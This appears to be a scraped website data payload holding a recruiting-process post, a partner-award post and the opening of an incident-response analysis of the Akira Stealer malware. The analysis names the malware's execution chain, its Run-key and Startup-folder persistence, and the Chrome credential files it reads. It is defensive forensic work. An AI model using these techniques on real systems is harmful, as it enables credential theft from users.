ID","4UG-WoC2ftVsQzfnag7pJEA-GrE8udM7ACoKFmjhLYw",{"id":5839,"title":5840,"author":5841,"body":5842,"cta":764,"description":5846,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":5943,"moment":5944,"navigation":508,"path":5956,"seo":5957,"stem":5958,"tags":5959,"webcast":749,"__hash__":5961},"content_en/posts/2025-12-08-recruiting-process.md","Our Application Process Explained",[1243],{"type":803,"value":5843,"toc":5935},[5844,5847,5850,5853,5864,5868,5870,5873,5876,5880,5882,5885,5896,5899,5903,5905,5908,5912,5914,5917,5921,5923,5926,5930,5932],[806,5845,5846],{},"We're often asked: What do I need to bring and what's important to you?",[806,5848,5849],{},"What's important to us is that you're excited to work at an innovative tech company. We see ourselves as a team pulling in the same direction.",[806,5851,5852],{},"And we're looking for people who are as passionate about technology as we are:",[2733,5854,5855,5858,5861],{},[2736,5856,5857],{},"Who don't shy away from challenges but thrive when they can dive deep into complex topics.",[2736,5859,5860],{},"Who question the status quo and passionately develop new, innovative solutions – for glueckkanja and our clients.",[2736,5862,5863],{},"Who enjoy being part of a community, sharing their knowledge and learning from each other.",[1667,5865,5867],{"id":5866},"step-1-your-application","Step 1: Your Application",[806,5869,816],{},[806,5871,5872],{},"You've submitted your documents – the first step is done! At our company, no AI reviews your application, but our recruiting team personally. Wondering who's behind the recruiting team? Here we are!",[806,5874,5875],{},"We - that's Kerstin, Anna, Steffi and Jan - take the time to carefully review your CV and check whether your experience and skills match our requirements. Our goal: You'll receive feedback from us within max. 1–2 weeks, but usually after just a few days. We know how nerve-wracking the waiting can be.",[1667,5877,5879],{"id":5878},"step-2-getting-to-know-people-culture","Step 2: Getting to Know People & Culture",[806,5881,816],{},[806,5883,5884],{},"If your profile fits, we move to the first round. Don't worry – you don't need to be nervous! You've already made a great first impression with your CV. In the conversation, we want to get to know you as a person:",[2733,5886,5887,5890,5893],{},[2736,5888,5889],{},"Who are you?",[2736,5891,5892],{},"What makes you tick?",[2736,5894,5895],{},"What are you looking for in your future?",[806,5897,5898],{},"This is about an open, honest meeting at eye level.",[1667,5900,5902],{"id":5901},"step-3-technical-exchange-with-your-future-lead","Step 3: Technical Exchange with Your Future Lead",[806,5904,816],{},[806,5906,5907],{},"In the second conversation, you'll meet your lead. Now it gets a bit more technical: We discuss your professional skills and you can ask all questions about tasks, team and projects. A bit of excitement is natural – but hey, you're already one step further!",[1667,5909,5911],{"id":5910},"step-4-team-meet-culture-check","Step 4: Team Meet & Culture Check",[806,5913,816],{},[806,5915,5916],{},"At glueckkanja, culture is more than a word – it's our daily life. That's why in the last step you'll meet your potential team. We want to ensure it's a good fit for both sides – professionally and personally.",[1667,5918,5920],{"id":5919},"finale-your-offer","Finale: Your Offer",[806,5922,816],{},[806,5924,5925],{},"Have you convinced us? Then comes the personal offer conversation. Here we clarify all details about the offer and answer all your final questions.",[1667,5927,5929],{"id":5928},"why-so-many-steps","Why So Many Steps?",[806,5931,816],{},[806,5933,5934],{},"Simple: We want to ensure that you feel comfortable with us and that we're successful together. All conversations take place at eye level – and using first names is natural for us.",{"title":863,"searchDepth":864,"depth":864,"links":5936},[5937,5938,5939,5940,5941,5942],{"id":5866,"depth":1810,"text":5867},{"id":5878,"depth":1810,"text":5879},{"id":5901,"depth":1810,"text":5902},{"id":5910,"depth":1810,"text":5911},{"id":5919,"depth":1810,"text":5920},{"id":5928,"depth":1810,"text":5929},{"lang":872,"seoTitle":5840,"titleClass":874,"date":5944,"categories":5945,"blogtitlepic":5946,"socialimg":5947,"customExcerpt":5948,"keywords":5949,"hreflang":5950,"scripts":5955},"2025-12-08",[877],"head-recruiting-process","/heads/head-recruiting-process.png","You've discovered an exciting position with us and want to apply? Great – we're always happy to welcome new talent! But what happens after you click 'Submit Application'? Here we give you a behind-the-scenes look.","Recruiting, Application Process, IT Company Jobs",[5951,5953],{"lang":4,"href":5952},"/de/posts/2025-12-08-recruiting-process.md",{"lang":956,"href":5954},"/es/posts/2025-12-08-recruiting-process.md",{"slick":508,"form":508},"/posts/2025-12-08-recruiting-process",{"title":5840,"description":5846},"posts/2025-12-08-recruiting-process",[1488,5960,1489],"Recruiting","G61hmPFZGmgTDCf7PALQe_EYxtkp8yqklHD0ejtE8AY",{"id":5963,"title":5964,"author":5965,"body":5966,"cta":764,"description":863,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":6044,"moment":6045,"navigation":508,"path":6092,"seo":6093,"stem":6094,"tags":6095,"webcast":749,"__hash__":6097},"content_en/posts/2025-11-12-partner-of-the-year-awards.md","Cloud-first at the airport: Microsoft Partner of the Year Awards 2025",[801],{"type":803,"value":5967,"toc":6038},[5968,5972,5974,5977,5980,5984,5986,5989,5992,6006,6009,6012,6016,6018,6021,6025,6027,6030],[810,5969,5971],{"id":5970},"from-the-runway-to-the-cloud","From the runway to the cloud",[806,5973,816],{},[806,5975,5976],{},"Fraport operates 29 airports worldwide, including Frankfurt Airport, one of Europe's largest transportation hubs. More than 80,000 employees keep operations running every day, from baggage handling to IT security. To make all this work, you need a reliable, scalable, and secure digital infrastructure.",[806,5978,5979],{},"That's where the joint project between Fraport and glueckkanja came in: the existing VDI environment was to be replaced with a modern, cloud-based workplace architecture. The goal: more flexibility, less complexity, and a platform built for a globally connected organization.",[810,5981,5983],{"id":5982},"cloud-managed-workplace","Cloud Managed Workplace",[806,5985,816],{},[806,5987,5988],{},"At the core lies the combination of Windows 365 Cloud PCs and the Microsoft Intune Suite. Today, more than 16,500 endpoints are centrally deployed, managed, and secured.",[806,5990,5991],{},"The results:",[2733,5993,5994,5997,6000,6003],{},[2736,5995,5996],{},"Device provisioning in minutes instead of hours",[2736,5998,5999],{},"Automated processes for higher efficiency",[2736,6001,6002],{},"Transparent management and monitoring",[2736,6004,6005],{},"A Zero Trust security model across all devices",[806,6007,6008],{},"The outcome: a workplace concept that enables Fraport employees to work securely and flexibly across all locations, devices, and roles.",[1432,6010],{":quotes":6011,":no-fullscreen":1435,"spacing":1436},"quoteMicrosoft",[810,6013,6015],{"id":6014},"recognition-for-innovation-and-collaboration","Recognition for innovation and collaboration",[806,6017,816],{},[806,6019,6020],{},"Each year, Microsoft honors partners who deliver outstanding cloud solutions, services, and innovations. In a global competition with more than 4,600 submissions, glueckkanja was recognized for the successful implementation of the Fraport project, a strong signal for the growing importance of cloud-based workplace solutions in critical infrastructures.",[810,6022,6024],{"id":6023},"a-blueprint-for-modern-workplace-architecture","A blueprint for modern workplace architecture",[806,6026,816],{},[806,6028,6029],{},"This project demonstrates how complex infrastructures can be reimagined through the cloud — without compromising on security or user experience. For Fraport, it marked the move to a standardized, cloud-based workplace model. For glueckkanja, it’s a proof point of how modern IT strategies can scale sustainably.",[806,6031,6032,6033,2491],{},"The full list of award-winning projects can be found ",[833,6034,6037],{"href":6035,"rel":6036},"https://aka.ms/2025POTYAWinnersFinalists",[1410],"here",{"title":863,"searchDepth":864,"depth":864,"links":6039},[6040,6041,6042,6043],{"id":5970,"depth":864,"text":5971},{"id":5982,"depth":864,"text":5983},{"id":6014,"depth":864,"text":6015},{"id":6023,"depth":864,"text":6024},{"lang":872,"seoTitle":5964,"titleClass":874,"date":6045,"categories":6046,"blogtitlepic":6047,"socialimg":6048,"customExcerpt":6049,"keywords":6050,"contactInContent":6051,"hreflang":6080,"scripts":6085,"quoteMicrosoft":6086},"2025-11-12",[877],"head-partner-of-the-year-2025","/heads/head-partner-of-the-year-2025.jpg","Out of more than 4,600 nominations from over 100 countries, one project stood out as a showcase of what modern IT can look like: together with Fraport, glueckkanja was recognized at the Microsoft Partner of the Year Awards 2025 in the Cloud Endpoints category.","Microsoft Partner of the Year Awards 2025, Cloud Endpoints Award, glueckkanja Fraport, Fraport Microsoft Case Study, Windows 365 Cloud PC, Microsoft Intune Suite, Cloud Managed Workplace, Azure Cloud Migration, Zero Trust Security, Modern Workplace, Cloud-first strategy, Digital workplace transformation, Endpoint management, Device provisioning automation, Secure cloud infrastructure, Scalable IT architecture, Cloud governance and compliance, Enterprise mobility and security, Airport IT infrastructure, Aviation digital transformation, Critical infrastructure IT, Global operations, Remote workforce enablement, IT modernization in transportation, Cloud-based workplace for critical infrastructure, Microsoft Windows 365 and Intune in enterprise environments, Secure and scalable endpoint management, Transforming airport IT operations with Azure",{"quote":508,"infos":6052},{"bgColor":884,"color":885,"boxBgColor":761,"boxColor":885,"headline":6053,"subline":6054,"level":810,"textStyling":888,"flush":889,"person":6055,"form":6064},"Get in Touch","Want to learn more about the project and our award? We'd be happy to show you how Fraport’s journey toward a standardized cloud architecture was brought to life.",{"image":6056,"cloudinary":508,"alt":1112,"name":1112,"quotee":1112,"quoteeTitle":6057,"quote":6058,"detailsHeader":6059,"details":6060},"/people/people-christian-kanja.jpg","CEO","The project with Fraport shows how standardization and automation can enable a secure, scalable workplace model, exactly what's needed to run and evolve IT environments reliably over the long term.","We’re looking forward\u003Cbr />to hearing from you!",[6061,6063],{"text":762,"href":899,"details":6062,"icon":901},"Jetzt anrufen",{"text":763,"href":903,"icon":904},{"ctaText":906,"cta":6065,"method":870,"action":909,"fields":6066},{"skin":908},[6067,6068,6069,6070,6071,6072,6073,6074,6075,6077,6078,6079],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":928,"type":929,"id":930,"required":749,"requiredMsg":931},{"label":4246,"type":934,"id":935,"required":508,"requiredMsg":936},{"type":912,"id":938,"value":877},{"type":912,"id":940,"value":941},{"type":912,"id":943,"value":6076},"Form: Blog Microsoft Partner of the Year | EN",{"type":912,"id":946,"value":947},{"type":912,"id":949},{"type":912,"id":951},[6081,6083],{"lang":4,"href":6082},"/de/posts/2025-11-12-partner-of-the-year-awards",{"lang":956,"href":6084},"/es/posts/2025-11-12-partner-of-the-year-awards",{"slick":508,"form":508},{"items":6087},[6088],{"text":6089,"name":6090,"company":6091,"alt":6090},"By moving to Windows 365 Cloud PCs and the Intune Suite, we've achieved a new level of agility and security. The collaboration with glueckkanja has laid the foundation for future innovation.","Niklas Rast","Senior Solution Architect at Fraport","/posts/2025-11-12-partner-of-the-year-awards",{"title":5964,"description":863},"posts/2025-11-12-partner-of-the-year-awards",[963,6096],"Partner of the Year","V0QmZJSOylRex6bruE9qveVu5SxKEGRmjmfJ2i-H0Vg",{"id":6099,"title":6100,"author":6101,"body":6102,"cta":764,"description":816,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":18447,"moment":18449,"navigation":508,"path":18537,"seo":18538,"stem":18539,"tags":18540,"webcast":749,"__hash__":18543},"content_en/posts/2025-06-16-quiet-breach.md","Inside Akira Stealer: A full technical analysis of a modular stealer",[1231],{"type":803,"value":6103,"toc":18302},[6104,6108,6110,6117,6120,6137,6140,6157,6163,6166,6169,6190,6198,6209,6216,6219,6222,6237,6244,6247,6250,6262,6266,6268,6274,6278,6280,6283,6295,6304,6310,6313,6319,6322,6326,6328,6333,6339,6342,6346,6348,6351,6377,6382,6387,6391,6393,6396,6400,6402,6405,6407,6413,6416,6420,6422,6432,6435,6438,6458,6461,6468,6475,6477,6483,6486,6492,6495,6529,6532,6541,6547,6556,6559,6570,6573,6580,6582,6591,6601,6633,6639,6644,6665,6671,6674,6677,6683,6691,6698,6700,6703,6715,6718,6751,6757,6784,6793,6796,6801,6810,6812,6821,6827,6844,6847,6852,6886,6890,6893,6896,6902,6916,6922,6928,6930,6935,6939,6941,7013,7016,7020,7022,7027,7033,7038,7047,7052,7057,7068,7071,7076,7085,7091,7094,7098,7100,7111,7116,7135,7141,7150,7161,7168,7173,7177,7179,7185,7211,7214,7225,7228,7237,7240,7244,7246,7254,7257,7260,7273,7283,7290,7311,7314,7320,7324,7326,7329,7338,7350,7375,7381,7387,7390,7397,7400,7413,7420,7422,7429,7433,7435,7441,7539,7546,7553,7555,7558,7581,7584,7611,7614,7656,7659,7668,7671,7688,7694,7697,7706,7709,7723,7730,7734,7736,7743,7766,7773,7807,7810,7825,7832,7837,7848,7851,7855,7857,7860,7875,7882,7893,7904,7939,7946,7949,7953,7955,7961,7966,8006,8009,8024,8027,8036,8042,8045,8049,8051,8054,8063,8066,8113,8120,8124,8126,8131,8136,8165,8172,8174,8190,8194,8196,8199,8238,8244,8250,8254,8256,8275,8285,8292,8324,8331,8377,8385,8389,8391,8394,8422,8432,8439,8441,8446,8450,8452,8458,8462,8464,8471,8497,8504,8759,8762,8767,8770,8802,8807,8811,8813,8816,8820,8822,8825,8927,8930,8934,8936,8939,9101,9104,9127,9131,9133,9142,9383,9386,9415,9419,9421,9454,9457,9460,9491,9495,9497,9503,9508,9511,9528,9531,9539,9544,9547,9626,9634,9637,9643,9651,9655,9657,9663,9668,9671,9688,9695,9700,9707,9769,9782,9787,9793,9820,9823,9861,9864,9869,9872,9886,9890,9892,9897,9917,9924,9930,9932,9936,9938,9944,9948,9950,9954,9956,9961,9988,9994,9998,10000,10006,10023,10049,10056,10060,10062,10065,10074,10088,10091,10095,10097,10110,10113,10122,10127,10134,10136,10140,10142,10151,10155,10157,10162,10176,10191,10195,10197,10278,10281,10288,10290,10295,10353,10360,10486,10489,10634,10638,10640,10643,10697,10700,10704,10706,10713,10766,10769,10773,10775,10778,10830,10833,10837,10839,10846,10898,10901,10905,10907,10914,10955,10958,10962,10964,10971,11053,11056,11060,11062,11065,11112,11115,11120,11123,11126,11130,11132,11137,11143,11148,11154,11159,11165,11170,11176,11181,11582,11586,11588,11629,11633,11635,11643,11647,11649,11659,11664,11689,11710,11715,11802,11806,11808,11901,11904,11910,11917,11919,11922,11977,12032,12039,12041,12044,12079,12114,12121,12123,12126,12159,12194,12201,12203,12206,12275,12321,12328,12330,12333,12361,12391,12398,12400,12403,12431,12454,12464,12466,12469,12494,12532,12536,12538,12571,12575,12577,12580,12583,12586,12589,12592,12597,12622,12627,12657,12663,12672,12694,12903,12907,12909,12916,13014,13017,13021,13023,13030,13123,13133,13139,13142,13147,13153,13181,13186,13216,13269,13288,13291,13296,13345,13349,13351,13354,13358,13360,13366,13486,13505,13509,13511,13516,13590,13611,13615,13617,13620,13623,13626,13629,13728,13736,13740,13742,13747,13782,13803,13807,13809,13812,13815,13823,13826,13914,13928,13932,13934,13937,13940,14033,14039,14041,14047,14051,14053,14056,14121,14138,14141,14175,14178,14182,14184,14189,14202,14247,14273,14278,14290,14366,14421,14425,14427,14430,14436,14476,14486,14492,14502,14506,14508,14511,14540,14566,14572,14576,14578,14585,14592,14594,14600,14655,14683,14687,14689,14692,14757,14764,14803,14807,14809,14815,14830,14833,14868,14872,14874,14881,14925,14939,14945,14952,14954,14957,14961,14963,14966,15000,15003,15028,15032,15034,15039,15042,15066,15090,15094,15096,15099,15123,15127,15129,15132,15152,15156,15158,15161,15168,15281,15286,15331,15335,15337,15343,15377,15431,15436,15439,15443,15445,15448,15452,15454,15457,15463,15467,15469,15472,15527,15542,15546,15548,15559,15628,15637,15642,15645,15689,15691,15695,15697,15700,15790,15795,15924,15928,15930,15933,15938,16011,16029,16034,16054,16062,16067,16073,16088,16105,16111,16169,16187,16192,16209,16214,16258,16272,16275,16279,16281,16286,16290,16292,16299,16306,16310,16312,16423,16430,16434,16436,16442,16447,16527,16534,16541,16545,16547,16550,16579,16586,16590,16592,16596,16598,16605,16608,16611,16614,16757,16760,16764,16766,16769,16773,16775,16778,16813,16819,16823,16825,16828,16854,16857,16863,16867,16869,16874,16891,16897,16901,16903,16907,16909,16925,16949,16956,16972,16991,16994,16998,17000,17011,17015,17017,17451,17454,17458,17460,17466,17469,17472,17478,17481,17492,17498,17501,17506,17510,17512,17515,17520,17534,17538,17540,17837,17840,17844,17846,17958,17961,17965,17967,18021,18024,18028,18030,18193,18196,18200,18202,18243,18246,18250,18252,18255,18258,18261,18264,18267,18270,18275,18279,18281,18284,18287,18290,18293,18296,18299],[1511,6105,6107],{"id":6106},"prologue","Prologue",[806,6109,816],{},[806,6111,6112,6113,6116],{},"It started like so many modern attacks do: quietly. A low-confidence Defender alert — ",[1732,6114,6115],{},"\"Suspicious sequence of exploration activities\""," — surfaced during onboarding phase of a new customer into our glueckkanja Cyber Security Operations Center (CSOC).",[806,6118,6119],{},"There were no signature hits. No malware classifications. No real-time protection response. Just a single behavioral correlation in Microsoft 365 Defender, buried in the noise — and yet, unmistakably wrong.",[806,6121,6122,6123,6126,6127,835,6130,6133,6134],{},"While triaging the alert, one specific action caught my attention: ",[1546,6124,6125],{},"python.exe"," had accessed both the ",[1546,6128,6129],{},"Login Data",[1546,6131,6132],{},"Web Data"," files inside a Chromium profile. Microsoft Defender immediately escalated this to a high-severity incident — ",[1732,6135,6136],{},"\"Possible theft of passwords and other sensitive web browser information.\"",[806,6138,6139],{},"This wasn’t a false positive. It was the tip of something deeper.",[806,6141,6142,6143,6146,6147,6150,6151,6154,6155,2491],{},"Tracing the telemetry backwards, I uncovered a generic startup-located binary — ",[1546,6144,6145],{},"Updater.exe"," — which spawned a NodeJS-based wrapper (",[1546,6148,6149],{},"main.exe",") that executed a command line to run a script named ",[1546,6152,6153],{},"astor.py"," via ",[1546,6156,6125],{},[1540,6158,6161],{"className":6159,"code":6160,"language":917,"meta":863},[1543],"Updater.exe → main.exe → cmd.exe → python.exe Crypto\\Util\\astor.py\n",[1546,6162,6160],{"__ignoreMap":863},[806,6164,6165],{},"The script didn’t just scrape credentials — it executed a sequence of post-compromise reconnaissance steps, including registry queries, system fingerprinting, and privilege-aware enumeration. It operated with surgical precision, mimicking native system behavior to evade detection. And it worked — almost.",[806,6167,6168],{},"At the time of first response:",[2733,6170,6171,6180,6187],{},[2736,6172,6173,6175,6176,6179],{},[1546,6174,6145],{}," was flagged by only ",[1732,6177,6178],{},"1 out of 69"," engines on VirusTotal.",[2736,6181,6182,2285,6184,6186],{},[1546,6183,6149],{},[1546,6185,6153],{},", and all associated components were not really flagged on VirusTotal.",[2736,6188,6189],{},"No files were signed. No elevated context. Just \"ordinary\" processes doing very non-ordinary things.",[806,6191,6192,6194,6195,6197],{},[1546,6193,6145],{}," didn’t touch credentials. That task was reserved for ",[1546,6196,6153],{},", the in-memory Python payload — a file that, by design, left almost no trace.",[806,6199,6200,6201,6204,6205,6208],{},"Within ",[1732,6202,6203],{},"21 minutes",", the affected system was isolated from the network. Within ",[1732,6206,6207],{},"70 minutes",", credentials were rotated across all affected scopes: internal identities, SaaS platforms, third-party services.",[806,6210,6211,6212,6215],{},"But the real turning point came when we extracted and fully decrypted the Python payload. What we found was not a generic stealer — it was a custom deployment of ",[1732,6213,6214],{},"Akira Stealer v2",", a commercially distributed malware family sold via Telegram.",[806,6217,6218],{},"Thanks to our in-house threat intelligence and reverse engineering capabilities, we were able to reconstruct the full functionality of the malware, extract all embedded indicators, and understand its staging, exfiltration, and credential targeting logic in detail.",[806,6220,6221],{},"More importantly — we didn’t stop at technical attribution. We went further.",[806,6223,6224,6225,6228,6229,6232,6233,6236],{},"We were able to provide the client with a ",[1732,6226,6227],{},"complete dataset of exfiltrated credentials",": over ",[1732,6230,6231],{},"100 unique username-password combinations",", including access credentials to cloud services, CRM systems, internal platforms, and even personal tools used by key employees. The theft had been ongoing for ",[1732,6234,6235],{},"months"," — and we could account for all of it.",[806,6238,6239,6240,6243],{},"Using insights gained from this case, we built a ",[1732,6241,6242],{},"post-infection analysis tool"," that scans affected systems, reconstructs credential access patterns, and generates detailed forensic reports — mapping exactly what was stolen, when, and from where.",[806,6245,6246],{},"We’ll share a glimpse of that scanner at the end of this report.",[806,6248,6249],{},"Because this is more than just an incident.\nThis is how we investigate. This is how we protect.",[806,6251,6252,6259,6261],{},[1732,6253,6254,6255,2491],{},"Welcome to the ",[833,6256,6258],{"href":6257},"/en/security/cloud-security-operations-center/","glueckkanja CSOC",[2012,6260],{},"\nThis is how we work — because breaches don't wait.",[1511,6263,6265],{"id":6264},"_1-initial-event-and-triage-summary","1. Initial Event and Triage Summary",[806,6267,816],{},[806,6269,6270,6271,6273],{},"On March 31, 2025, Microsoft Defender for Endpoint generated an alert labeled ",[1732,6272,6115],{}," on a Windows 10 64-bit endpoint. I began the triage based on this signal and reviewed the affected system using the process tree, system timeline, and evidence correlated by Defender.",[810,6275,6277],{"id":6276},"_11-timeline-based-triage","1.1 Timeline-Based Triage",[806,6279,1531],{},[806,6281,6282],{},"The alert pointed to a sequence of processes that warranted further inspection. During initial review, I observed the following access patterns to Chrome browser data within the local user profile:",[2733,6284,6285,6290],{},[2736,6286,6287],{},[1546,6288,6289],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data",[2736,6291,6292],{},[1546,6293,6294],{},"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Web Data",[806,6296,6297,6298,6300,6301,6303],{},"These accesses were initiated by a process named ",[1546,6299,6145],{},". While Microsoft Defender had not flagged the binary based on heuristic or behavioral analysis, I found a detection for ",[1546,6302,6145],{}," on VirusTotal — flagged by a single engine at that point in time.",[806,6305,6306],{},[1449,6307],{"alt":6308,"src":6309},"Microsoft Defender","https://res.cloudinary.com/c4a8/image/upload/v1749797184/blog/pics/microsoft-defender.png",[806,6311,6312],{},"The full observed execution chain was as follows:",[1540,6314,6317],{"className":6315,"code":6316,"language":917,"meta":863},[1543],"winlogon.exe\n└── userinit.exe\n    └── explorer.exe\n        └── Updater.exe\n            └── main.exe\n                └── cmd.exe /d /s /c \"python.exe Crypto\\Util\\astor.py\"\n                    └── python.exe Crypto\\Util\\astor.py\n",[1546,6318,6316],{"__ignoreMap":863},[806,6320,6321],{},"At this stage, no deeper static or dynamic analysis of the involved files had been performed. My focus was on understanding the high-level behavior and context. The process names and file paths were generic, and no suspicious command-line arguments were present beyond the chained Python execution.",[810,6323,6325],{"id":6324},"_12-initial-response","1.2 Initial Response",[806,6327,1531],{},[806,6329,6200,6330,6332],{},[1732,6331,6203],{}," of the initial alert, I initiated host isolation using Defender for Endpoint’s isolation features. The goal was to prevent potential further spread or exfiltration.",[806,6334,6335,6336,6338],{},"Within the first ",[1732,6337,6207],{},", we proceeded to rotate credentials that were known to be used on the affected host — covering internal systems, SaaS platforms, and critical third-party vendors.",[806,6340,6341],{},"The reverse engineering process began after the first containment. The following sections document the technical deep dive that followed to investigate the breach.",[810,6343,6345],{"id":6344},"_13-response-summary-fast-transparent-impact-driven","1.3 Response Summary – Fast, Transparent, Impact-Driven",[806,6347,1531],{},[806,6349,6350],{},"Our response combined speed, expertise, and operational excellence—backed by proven workflows and full visibility for the customer.",[2733,6352,6353,6359,6365,6371],{},[2736,6354,6355,6358],{},[1732,6356,6357],{},"Detection to full containment in under 90 minutes","\nDefender alerts, network isolation, antivirus scan, and credential revocation executed rapidly and in concert.",[2736,6360,6361,6364],{},[1732,6362,6363],{},"Deep-dive forensic response within 48 hours","\nIncluding full disk and memory analysis, browser artifact review, credential dumping detection, and behavioral reconstruction of attacker activity.",[2736,6366,6367,6370],{},[1732,6368,6369],{},"Secure data recovery & evidence handling","\nThe stolen data—including cookies, passwords, tokens, and browser profiles—was recovered, forensically archived, and handed off securely to the customer.",[2736,6372,6373,6376],{},[1732,6374,6375],{},"End-to-end visibility and communication","\nEvery step—from first alert to remediation and debrief—was fully documented, shared in real time, and summarized in a structured CSIRT handover.",[3589,6378,6379],{},[806,6380,6381],{},"This incident showcases how glueckkanja CSOC doesn’t just stop malware—we dismantle its effects, restore control to our customers, and turn every incident into insight.",[1536,6383],{"className":6384},[6385,6386],"space-top-1","space-bottom-1",[1511,6388,6390],{"id":6389},"_2-malware-architecture-and-execution-chain-overview","2. Malware Architecture and Execution Chain Overview",[806,6392,816],{},[806,6394,6395],{},"The malware observed on the affected endpoint followed a structured, multi-stage architecture with clear separation of responsibilities: deployment, decoding, execution, and data exfiltration.",[810,6397,6399],{"id":6398},"_21-execution-chain-overview","2.1 Execution Chain Overview",[806,6401,1531],{},[806,6403,6404],{},"The observed execution flow was as follows:",[806,6406,6145],{},[1540,6408,6411],{"className":6409,"code":6410,"language":917},[1543],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[1546,6412,6410],{"__ignoreMap":863},[806,6414,6415],{},"Each component in the chain contributed to stealth, modularity, and evasion. The architecture leveraged legitimate runtimes and standard OS interpreters to bypass detection mechanisms.",[1667,6417,6419],{"id":6418},"_211-origin-uncertainty-missing-initial-vector","2.1.1 Origin Uncertainty: Missing Initial Vector",[806,6421,1673],{},[806,6423,6424,6425,6428,6429,2491],{},"Despite extensive analysis of the post-compromise environment, the initial access vector could not be conclusively determined. This uncertainty stems primarily from the fact that the malware had remained active for an estimated ",[1732,6426,6427],{},"six months prior to detection"," — exceeding the ",[1732,6430,6431],{},"log retention period enforced by Microsoft Defender for Endpoint",[806,6433,6434],{},"As a result, no telemetry or forensic artifacts were available from the original time of infection. No initial process creation events, file drops, or command-line entries related to the delivery stage were recoverable from Defender’s timeline or associated sensors.",[806,6436,6437],{},"Based on contextual indicators and OSINT sources, a likely infection vector may have involved:",[2733,6439,6440,6446,6452],{},[2736,6441,6442,6445],{},[1732,6443,6444],{},"Trojanized installers"," of cracked or modded gaming software",[2736,6447,6448,6451],{},[1732,6449,6450],{},"Fake utilities"," or \"performance boosters\" distributed via forums and third-party sites",[2736,6453,6454,6457],{},[1732,6455,6456],{},"Malicious browser extensions"," targeting specific user interests (e.g., crypto-related tools or Discord enhancements)",[806,6459,6460],{},"However, these remain speculative.",[806,6462,6463,6464,6467],{},"No confirmed dropper, phishing email, or compromised website could be identified during the investigation. While the malware architecture and execution chain were fully reconstructed, the ",[1732,6465,6466],{},"initial point of compromise (MITRE ATT&CK T1190 / T1566)"," could not be validated.",[1667,6469,6471,6472,6474],{"id":6470},"_212-updaterexe-initial-loader","2.1.2 ",[1546,6473,6145],{}," – Initial Loader",[806,6476,1673],{},[806,6478,6479,6480,6482],{},"When reviewing the process tree in Microsoft 365 Defender, ",[1546,6481,6145],{}," stood out immediately — not because of what it did, but because of how silently it embedded itself into the system’s execution flow.",[806,6484,6485],{},"This binary was registered for automatic execution via the standard Windows Run key:",[1540,6487,6490],{"className":6488,"code":6489,"language":917},[1543],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[1546,6491,6489],{"__ignoreMap":863},[806,6493,6494],{},"That meant it would launch every time the user logged into their session — a classic persistence mechanism that requires no elevated privileges and often slips through unnoticed in EDR telemetry.",[2733,6496,6497,6503,6509,6515,6521],{},[2736,6498,6499,6502],{},[1732,6500,6501],{},"File Type",": Windows PE executable (32-bit)",[2736,6504,6505,6508],{},[1732,6506,6507],{},"Signature",": Unsigned",[2736,6510,6511,6514],{},[1732,6512,6513],{},"VirusTotal Detection",": 1 out of 69 engines at the time of triage",[2736,6516,6517,6520],{},[1732,6518,6519],{},"Execution Context",": Medium integrity, user session",[2736,6522,6523,2540,6526],{},[1732,6524,6525],{},"Location",[1546,6527,6528],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[806,6530,6531],{},"The file itself was small, cleanly compiled, and unremarkable from a static analysis standpoint. No suspicious strings, no encrypted sections, and no indicators of obfuscation or packing. It imported only a minimal set of standard Windows API functions and contained no embedded payload.",[806,6533,6534,6535,6537,6538,6540],{},"However, its behavior was more telling. Once launched, ",[1546,6536,6145],{}," extracted an Electron application from a bundled archive — a self-contained NodeJS runtime packaged using standard Electron tooling. This unpacked folder contained an executable named ",[1546,6539,6149],{},", which was subsequently launched as a child process.",[1540,6542,6545],{"className":6543,"code":6544,"language":917,"meta":863},[1543],"Updater.exe → main.exe\n",[1546,6546,6544],{"__ignoreMap":863},[806,6548,6549,6550,6552,6553,6555],{},"There were no network indicators at this stage, no process injection, and no anomaly in privileges or token elevation. The entire role of ",[1546,6551,6145],{}," appeared to be that of a loader — delivering a second-stage component (",[1546,6554,6149],{},") into the environment, likely with the goal of maintaining stealth and modularity.",[806,6557,6558],{},"This kind of architectural separation is common in modern commodity malware and stealer toolkits. The initial loader acts merely as a deployment stub, allowing the heavier logic — often obfuscated, interpreted, or dynamically generated — to be contained in later stages.",[806,6560,6561,6562,6564,6565,6567,6568,2491],{},"In this case, ",[1546,6563,6145],{}," served precisely that purpose: a quiet initial foothold designed to blend in, remain undetected, and pave the way for the execution of the actual stealer logic in ",[1546,6566,6149],{}," and eventually ",[1546,6569,6153],{},[806,6571,6572],{},"It didn’t touch the file system beyond its own directory and didn’t trigger any behavioral rules — and yet, it was the first domino in a long and carefully constructed attack chain.",[1667,6574,6576,6577,6579],{"id":6575},"_213-mainexe-obfuscated-nodejs-payload-container","2.1.3 ",[1546,6578,6149],{}," – Obfuscated NodeJS Payload Container",[806,6581,1673],{},[806,6583,6584,6585,6587,6588,6590],{},"Following the execution of ",[1546,6586,6145],{},", a second-stage binary named ",[1546,6589,6149],{}," was launched. This component presented itself as a standard Electron application — a runtime environment bundling Node.js and Chromium, often used for cross-platform desktop apps. Its innocuous nature is part of what makes it so dangerous in the wrong hands.",[806,6592,6593,6594,6596,6597,6600],{},"Upon inspection, ",[1546,6595,6149],{}," contained an internal archive named ",[1546,6598,6599],{},"app.asar"," — the standard packaging format for Electron-based applications. Unlike legitimate Electron apps, however, the contents of this archive were anything but ordinary.",[2733,6602,6603,6609,6615,6623],{},[2736,6604,6605,6608],{},[1732,6606,6607],{},"Platform",": Electron (Node.js + Chromium)",[2736,6610,6611,6614],{},[1732,6612,6613],{},"Architecture",": 64-bit Windows",[2736,6616,6617,6620,6621],{},[1732,6618,6619],{},"Content Structure",": Embedded JavaScript files within ",[1546,6622,6599],{},[2736,6624,6625,6628,6629,6632],{},[1732,6626,6627],{},"Obfuscation Level",": High — achieved through 